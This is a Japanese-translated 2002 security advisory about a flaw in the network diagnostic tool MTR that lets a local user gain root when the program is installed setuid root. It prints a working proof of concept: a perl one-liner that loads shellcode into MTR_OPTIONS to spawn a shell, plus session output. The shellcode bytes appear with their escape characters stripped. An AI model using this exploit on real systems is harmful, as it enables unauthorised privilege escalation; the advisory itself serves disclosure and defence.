MTR は、ローカルユーザがルート権限を取得するのを許す
[翻訳:関谷 麻美]
2002年3月9日
国際
海外情報
2002年3月9日
概要:
MTR は、'ping' と'traceroute' を結合して一つのプログラムにしたネットワーク診断ツールだ。その製品のセキュリティ上の脆弱性は、任意コードを実行し、そして高い権限の取得を許可する。MTR の作者が、setuid root で実行されるプログラムを推奨していないことに注目する必要がある。
詳細:
攻略コード
サンプルの攻略手段は、脆弱なコードにある strtok/while ループなので平凡なコードだ。
$ uname -smr
Linux 2.4.8-26mdk i686
$ setenv MTR_OPTIONS `perl -e 'print "A "x130 . "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08
x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh"'`
$ ./mtr
sh-2.05$
この時点で、exec'd shell は開いている生のソケットを持つ。
$ /usr/sbin/lsof | grep raw
sh 17263 venglin 3u raw 605400 00000000:00FF->00000000:0000 st=07
sh 17263 venglin 4u raw 605401 00000000:0001->00000000:0000 st=07
sh-2.05$ ls -la /proc/self/fd/
total 0
dr-x――― 2 venglin venglin 0 Mar 6 15:40 .
dr-xr-xr-x 3 venglin venglin 0 Mar 6 15:40 ..
lrwx――― 1 venglin venglin 64 Mar 6 15:40 0 -> /dev/pts/6
lrwx――― 1 venglin venglin 64 Mar 6 15:40 1 -> /dev/pts/6
lrwx――― 1 venglin venglin 64 Mar 6 15:40 2 -> /dev/pts/6
lrwx――― 1 venglin venglin 64 Mar 6 15:40 3 -> socket:[605400]
lrwx――― 1 venglin venglin 64 Mar 6 15:40 4 -> socket:[605401]
lr-x――― 1 venglin venglin 64 Mar 6 15:40 5 -> /proc/17318/fd
追加情報:
Przemyslaw Frasunek がこの情報を提供した。
[情報提供:SecuriTeam]
http://www.securiteam.com/
《ScanNetSecurity》